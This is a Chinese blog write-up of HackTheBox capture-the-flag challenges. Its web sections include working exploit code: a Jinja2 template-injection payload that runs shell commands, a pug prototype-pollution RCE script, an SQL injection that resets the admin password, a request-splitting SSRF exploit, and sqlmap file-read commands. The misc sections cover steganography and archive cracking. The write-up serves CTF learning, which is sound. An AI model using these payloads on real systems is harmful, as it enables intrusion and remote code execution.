本文主要是介绍新版HackTheBox做题记录(WP),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
新版HackTheBox做题记录
- Challenges
- Web
- Emdee five for life
- Templated
- Phonebook
- FreeLancer
- Gunship
- Weather App
- MISC
- misDIRection
- Blackhole
- Eternal Loop
- Longbottom's Locker
- Canvas
- M0rsarchive
2021-4-19
做题小记录,也方便以后自己查看
2021-4-24
更新FreeLancer
2022-02-05
更新Gunship
2022-02-06
更新WEB Weather App
更新MISC misDIRection
2022-02-07
更新MISC Blackhole、Eternal Loop、Longbottom’s Locker、Canvas
Challenges
Web
Emdee five for life
easy 题
加密md5 然后提交 其实就是py小脚本训练 贴下脚本
import requests
import re
import hashliburl = "http://46.101.53.249:32444/"while(1):r = requests.session()resp = r.get(url)code = re.findall("<h3 align='center'>(.*?)</h3>", resp.text)code = code[0]print(code)m = hashlib.md5()b = code.encode(encoding='utf-8')m.update(b)str_md5 = m.hexdigest()print(str_md5)data = {'hash': str_md5}resp1 = r.post(url=url, data=data)print(resp1.text)if ("Too slow!" in resp1.text):continueelse:print(resp1.text)
Templated
easy 题
flask jinja2 ssti模块注入 开始我用了Arjun扫了下参数没扫到。。然后随便进几个目录发现
这里解析了 ss 尝试访问下{{config}}
接下来就是构造payload 来命令执行了
简单思路:找Object 再找warnings.catch_warnings
payload:
{{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag*").read() }}
Phonebook
Easy题
进来是一个登录界面
测试发现如果我们使用*
当作账户密码可以直接登入,但是登录之后并获取不到flag,*的有匹配的含义,
比如cat flag11111
我们就可以用cat flag*
,思路有了来写个小脚本尝试爆破下账户和密码
import requests
url = "http://46.101.53.249:31174/login"
username=""
data = {"username": username + "*","password": "*"
}
input_data = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","#","$","%","@","!","0","1","2","3","4","5","6","7","8","9","{","}","[","]","_","&","^"," "]
while(1):for i in input_data:username = username + idata = {"username": username + "*","password": "*"}resp = requests.post(url=url,data=data)if("/search" in resp.text):print(data)breakelse:username=username[:-1]
账户为reese 同理改下脚本来bp下密码 密码即是flag…(爆了快半小时) 这里就不贴脚本了
FreeLancer
首页有个表单,表单提交的数据一直500,xss也没法利用
拿dirb扫一下
扫到了一个/administrat/ 目录 登录进去是一个登录界面
看下源码有没有提示
在源码上多注意些注释 <!– 以及一些地址href=
进入/portfolio.php?id=2
手工测试下
/portfolio.php?id=2 and 1=1--+ 回显正常
/portfolio.php?id=2 and 1=2--+ 回显失败
布尔注入
丢进sqlmap里
dump下数据库
加密了,查看数据库权限
尝试了–os-shell 也不行
试试能不能读文件,虽然我们没有路径,但linux的web大多数都是放在/var/www/html下
sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/index.php
读出来了
把已知的都读一下 看下源码
sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/portfolio.php
从这也能发现那个/administrat/的管理界面
sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/index.php
sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/panel.php
最后在这个源码中读到了flag,挺折磨人的,开始还以为要读加密的姿势去逆向或者暴力呢,不知道师傅们有没有其他思路
Gunship
download源码, 安装的包 (package.json)
"dependencies": {"express": "^4.17.1","flat": "5.0.0","pug": "^3.0.0"}
pug:3.0.0 可以利用,存在rce https://github.com/pugjs/pug/issues/3312
利用位置 (routes/index.js)
router.post('/api/submit', (req, res) => {const { artist } = unflatten(req.body);if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {return res.json({'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })});} else {return res.json({'response': 'Please provide us with the full name of an existing member.'});}
});
可以看出向/api/submit 请求的body 传给了unflatten
利用链
{"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(ls | grep flag)')"}
}
我们使用$(ls | grep flag)可以将报错信息带出来,也是无回显rce的一个小trick
cat flag
{"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"}}
exp:
import requestsTARGET_URL = 'http://157.245.40.206:30563'# first : $(ls | grep flag)
r = requests.post(TARGET_URL+'/api/submit', json = {"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"}})print(r.status_code)
print(r.text)
Weather App
download源码, 查看路由(routes/index.js)
实现了login、register、/api/weather接口。
从代码上看到register接口有个限制
router.post('/register', (req, res) => {if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {return res.status(401).end();}let { username, password } = req.body;if (username && password) {return db.register(username, password).then(() => res.send(response('Successfully registered'))).catch(() => res.send(response('Something went wrong')));}return res.send(response('Missing parameters'));
});
判断注册的请求来源必须是127.0.0.1, 应该是要触发ssrf
接着在login中明显看出需要我们登录admin的账户就能get flag
router.post('/login', (req, res) => {let { username, password } = req.body;if (username && password) {return db.isAdmin(username, password).then(admin => {if (admin) return res.send(fs.readFileSync('/app/flag').toString());return res.send(response('You are not admin'));}).catch(() => res.send(response('Something went wrong')));}return re.send(response('Missing parameters'));
});
观察一下与数据库操作有关的文件(database.js)
async migrate() {return this.db.exec(`DROP TABLE IF EXISTS users;CREATE TABLE IF NOT EXISTS users (id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,username VARCHAR(255) NOT NULL UNIQUE,password VARCHAR(255) NOT NULL);INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');`);}
其中username 属于unique约束,并且默认32字节的密码,无法爆破
接着看其余的代码(database.js)
async register(user, pass) {// TODO: add parameterization and roll publicreturn new Promise(async (resolve, reject) => {try {let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;resolve((await this.db.run(query)));} catch(e) {reject(e);}});}
并没有对参数进行过滤,可以进行拼接。例如
user : admin pass: 1234’) ON CONFLICT(username) DO UPDATE SET password = ‘admin’;–
其中sql语句就变成了
INSERT INTO users (username, password) VALUES ('admin', '1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')
当执行冲突时,会update密码。
接下来就是找到一个ssrf点去发送这个post请求包了
看到/api/weather接口 (routes/index.js)
router.post('/api/weather', (req, res) => {let { endpoint, city, country } = req.body;if (endpoint && city && country) {return WeatherHelper.getWeather(res, endpoint, city, country);}return res.send(response('Missing parameters'));
});
跟进WeatherHelper.getWeather方法(helpers/WeatherHelper.js)
async getWeather(res, endpoint, city, country) {// *.openweathermap.org is out of scopelet apiKey = '10a62430af617a949055a46fa6dec32f';let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); if (weatherData.name) {let weatherDescription = weatherData.weather[0].description;let weatherIcon = weatherData.weather[0].icon.slice(0, -1);let weatherTemp = weatherData.main.temp;switch (parseInt(weatherIcon)) {case 2: case 3: case 4:weatherIcon = 'icon-clouds';break;case 9: case 10:weatherIcon = 'icon-rain';break;case 11:weatherIcon = 'icon-storm';break;case 13:weatherIcon = 'icon-snow';break;default:weatherIcon = 'icon-sun';break;}return res.send({desc: weatherDescription,icon: weatherIcon,temp: weatherTemp,});} return res.send({error: `Could not find ${city} or ${country}`});}
其中进行HttpHelper.HttpGet请求,参考Node中的Request Splitting。
可以构造一个分隔的payload来发送请求
需要将空格编码为\u0120 、 \r 编码为 \u010d 、 \n编码为 \u010A 、其余字符进行url编码
exp:
import requestsurl = "http://68.183.45.200:31945"username = 'admin'
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str(contentLength) + '\u010D\u010A\u010D\u010Ausername=' + parseUsername + '&password=' + parsePassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
r = requests.post(url + '/api/weather', json={'endpoint': endpoint, 'city': 'chengdu', 'country': 'CN'})
print(r)
之后直接登录admin即可
MISC
misDIRection
download文件,unzip解压发现其中都是空的文件,但其中部分文件夹中具有数字标识, 范围从1-36
将有数字的进行过滤出来,并整理成如下格式
对第二位进行排序,需要将1补成01、2补成02,直接用bash命令排序了,sore msg.txt -k 2
得到排列好的字母,按顺序将字母拼接,再进行base64解密即可
exp:
file = "msg4.txt"
secret = ""
with open(file, "r") as f:data = f.readlines()for item in data:secret += item.split(" ")[0]print(secret)
Blackhole
download下文件,file查看文件类型,发现是jpg文件
使用binwalk无果,使用stegcracker爆破
爆破出来密码,从图中也能猜出来(脑洞)
使用 steghide extract -sf file 解密文件
得出flag.txt, 特征和积累看的出来是base64套娃,
https://www.boxentriq.com/code-breaking/cipher-identifier
这个能在线查看密文的类型,发现是凯撒
使用在线网站解密,偏移14位即可
https://cryptii.com/
Eternal Loop
套娃,压缩包里面的文件名是该压缩包的密码。写个脚本一直解压
import zipfilename = "37366.zip"
while 1:zFile = zipfile.ZipFile(r'D:\Temp\HTB\MISC\Eternal Loop\{}'.format(name), "r")name = zFile.namelist()[0]password = zFile.namelist()[0].split(".")[0]print(zFile.namelist()[0])zFile.extract(zFile.namelist()[0], r"D:\Temp\HTB\MISC\Eternal Loop", pwd=bytes(password, 'utf-8'))
最后解压到6969.zip报错,去爆破下zip密码
fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt 6969.zip
解压 file 发现是SQL文件,直接
strings DoNotTouch | grep "HTB"
Longbottom’s Locker
解压压缩包
其中网站源码逻辑如下,(index.html)
<script>document.getElementById('neville-locker-form').addEventListener('submit', function(e) {e.preventDefault();var passphrase = document.getElementById('passwd').value,encryptedMsg = '4cce4470203e10b395ab1787a22553a5b2503d42a965da813676d929cc16f76cU2FsdGVkX19FvUyhqWoQKHXNLBL64g8acK4UQoP6XZQ/n4MRL3rgQj8TJ/3r8Awtxte2V9s+RLfQHJOHGwYtctqRa/H2BetmxjwGG+LYKUWC8Z6WBoYbecwtATCOuwewnp+VKBzsWLme+3BZyRgKEA==',encryptedHMAC = encryptedMsg.substring(0, 64),encryptedHTML = encryptedMsg.substring(64),decryptedHMAC = CryptoJS.HmacSHA256(encryptedHTML, CryptoJS.SHA256(passphrase).toString()).toString();if (decryptedHMAC !== encryptedHMAC) {alert('Bad passphrase!');return;}var plainHTML = CryptoJS.AES.decrypt(encryptedHTML, passphrase).toString(CryptoJS.enc.Utf8);document.write(plainHTML);document.close();});
</script>
HMAC是一个基于Hash函数的,逆不出来,最终plainhtml也需要输入的信息进行解码渲染flag,只能找其他思路
socute.jpg binwalk 分离出一个zip,解压得到donotshare
(lp1
(lp2
(S' '
I163
tp3
aa(lp4
(S' '
I1
tp5
a(S'.'
I1
tp6
a(S'd'
I1
tp7
a(S'8'
I4
tp8
a(S'b'
I1
tp9
a(S'.'
I1
tp10
a(S' '
I12
Google到了该字符类似于一个符号横幅。用下面读取并打印输出得
import picklef = open('donotshare', 'rb')o = pickle.load(f)outstr = ''
for line in o:for char,n in line:outstr += char*noutstr += '\n'
print(outstr)
Gu1d0-v4N-R055Um, 输入即可得到flag
Canvas
在js中被编码了,去解开js的编码,可以看到大致逻辑,在浏览器中打断点可以看出用户名和密码都是admin,之后渲染了一个canvas,从js中最后一行找到找个canvas的十六进制
进行十六进制转ASCII
class Converter(object):@staticmethoddef to_ascii(h):list_s = []for i in range(0, len(h), 2):list_s.append(chr(int(h[i:i+2], 16)))return ''.join(list_s)@staticmethoddef to_hex(s):list_h = []for c in s:list_h.append(str(hex(ord(c))[2:]))return ''.join(list_h)print(Converter.to_ascii("4854427b57334c63306d335f37305f4a3456343543523170375f6433306246753543343731304e7da"))
M0rsarchive
每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。
参考:https://sequr.be/blog/2019/11/m0rsarchive/
exp:
def getMorse(image):"""Get morse out of imageThis assumes the background colour is static and morse code has a different colour.Morse code can be in any colour, as long as it is not the same as the top-left pixel.>>> getMorse('pwd.png')['----.']"""from PIL import Imageimport reim = Image.open(image, 'r')chars = []background = im.getdata()[0]for i, v in enumerate(list(im.getdata())):if v == background:chars.append(" ")else:chars.append("*")# print "{0: <4}: {1: <15} ({2})".format(i, v, "[-] BG" if v == background else "[+] FG")output = "".join(chars)# Clean output by removing whitespace front and back# Then make dash out of every combination of 3 dots# Convert dots to actual dot# Convert whitespace between letters (i.e. >1 bg pixel) to seperator# Remove whitespace# Return list of lettersoutput = re.sub(r'^\s*', '', output)output = re.sub(r'\s*$', '', output)output = re.sub(r'\*{3}', '-', output)output = re.sub(r'\*', '.', output)output = re.sub(r'\s{2,}', ' | ', output)output = re.sub(r'\s', '', output)output = output.split('|')return outputdef getPassword(morse):"""Decode morseConvert morse back into text.Takes list of letters as input, returns converted text.Note that challenge uses lowercase letters.>>> getPassword(['----.'])'9'"""MORSE_CODE_DICT = {'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D','.': 'E', '..-.': 'F', '--.': 'G', '....': 'H','..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L','--': 'M', '-.': 'N', '---': 'O', '.--.': 'P','--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T','..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X','-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1','..---': '2', '...--': '3', '....-': '4', '.....': '5','-....': '6', '--...': '7', '---..': '8', '----.': '9','-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?','-.--.': '(', '-....-': '-', '--..--': ','}for item in morse:return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()def main():""" Auto startUsed for automation.Automatically call methods and use 'pwd.png' as input image."""print (getPassword(getMorse("pwd.png")))if __name__ == "__main__":main()
并使用sh脚本去循环执行
#!/bin/bashRESULT=0while [ $RESULT -eq 0 ]
doPASSWORD="$( python3 /root/桌面/HTB/MISC/M0rsachive/exp.py )"ZIPFILE="$( ls *.zip )"unzip -P "$PASSWORD" "$ZIPFILE"RESULT=$?echo "Unzipped $ZIPFILE using password $PASSWORD ($RESULT)"cd flag
done
由于路径也过于长, 使用find也查不出来最外层的flag
$ find . -iname "flag" -type f -exec cat {} \;
cat: ./flag/flag/[...]/flag/flag/flag: File name too long
利用脚本:
while [ $? -eq 0 ]; do cd flag/; done
cat flag
这篇关于新版HackTheBox做题记录(WP)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!